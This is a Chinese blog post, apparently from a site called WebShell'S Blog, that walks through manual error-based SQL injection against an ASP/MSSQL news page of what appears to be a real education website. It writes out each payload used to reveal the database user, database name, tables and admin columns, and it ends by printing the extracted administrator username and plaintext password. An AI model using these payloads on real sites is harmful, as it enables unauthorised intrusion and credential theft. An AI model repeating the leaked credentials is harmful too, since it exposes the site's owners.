很不错的注入手法,今天发到这跟大家共享下。
不喜勿喷!
例:
https://www.webshell.cc/gaokao/ReadNews.asp?NewsID=3255'&BigClassName=&BigClassID=21&SmallClassID=42&SpecialID=0

试着在Newsid=3255后面插入“'”,结果报错。
“Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 '' 之前有未闭合的引号。

明显存在注入漏洞,还是SQL数据库

无法动用工具查。 这点写工具的人,貌似很容易添加这个功能。

分析了一下

上面这类网址的ASP?后面跟有多项数据,各项数据类型也不完全相同,有的是数字型,有的则是字符型等,混合在一起。

比如:

https://www.webshell.cc/ReadNews.asp?NewsID=7235&bigclassname1=新闻中心&bigclassname=教育信息&smallclassname=教育新闻

用手工注入吧。先看看权限如何?在中间插入注入语句:
Newsid=3255 and and user>0
提交后暴出了如下提示
将 nvarchar 值 'web113483' 转换为数据类型为 int 的列时发生语法错误。意思是当前用户的名字是“web113483”,看来只是一个普通权限的用户DB_OWNER。

如果暴出的是“将“dbo”转换成int的列发生错误”,则表示当前数据库用户是SA,那权限就相当大了

Mssql数据库的好处就是,不用一个个的猜,可以直接暴出你想要的东东,这里正好复习一下SQL注入的相关语句。
下面就是来暴出数据库了。在Newsid=3255后面插入“and db_name()>0”,提交后得到如下结果:
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 nvarchar 值 'www_hljedu_net' 转换为数据类型为 int 的列时发生语法错误。
/gaokao/ReadNews.asp,行13
呵呵,数据库是www_hljedu_net,要是猜够你猜的了。
接下来当然是暴表了:
在在Newsid=3255后面插入

“and (select top 1 name from www_hljedu_net.dbo.sysobjects where xtype='U' and status>0)>0”
得到如下结果:
将 nvarchar 值 'ReView' 转换为数据类型为 int 的列时发生语法错误。
这样就暴出了第一个表:ReView。

接下来插入

“and (select top 1 name from www_hljedu_net.dbo.sysobjects where xtype='U' and status>0 and name not in('ReView'))>0”
就得到了第二个表“admin”:

将 nvarchar 值 'Admin' 转换为数据类型为 int 的列时发生语法错误。

依次将得到的表名加入

name not in('ReView','admin')中,可以得到所有的表,当然我们的目标是找管理员,找到了admin就够了。

其实还有一种猜的办法,插入

“and (selec count(*) from admin)>0”

正常返回表示有admin,表。同Access猜表一样。这样就不用一个个暴表。

但猜不中时就得暴表了。

下面我就用猜的办法试试,

插入:and (select count(username) from admin)>0 结果提示出错:“列名 'username' 无效。

”看来猜并不好猜,所以能暴当然要暴了。
插入语句

“and (select top 1 col_name(object_id('admin'),1) from admin)>0”,提交后,暴出第一个字段名为“ID”。
然后将括号中的1换成2,插入语句

“and (select top 1 col_name(object_id('admin'),2) from admin)>0”,提交后得到如下结果:
将 nvarchar 值 'AdminUID' 转换为数据类型为 int 的列时发生语法错误。
同样也得到“AdminPWD”。
如果前面表名字段名因常见可以猜的话,现在要猜用户名和密码就要难得多。

因为没有通用的。所以能用暴值法那是一定要用的。
先猜用户名:
插入注入语句:

and (select top 1 AdminUID from admin)>0,

提交后轻易就暴出了管理员的名字:hljedu。

将 nvarchar 值 'hljedu' 转换为数据类型为 int 的列时发生语法错误。
将上面语句中的AdminUID换成AdminPWD,变成

and (select top 1 AdminPWD from admin)>0,

插入网址中注入后得到密码:hljeduwrp
到此,我们的所有的猜解工作完成了

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/1361.html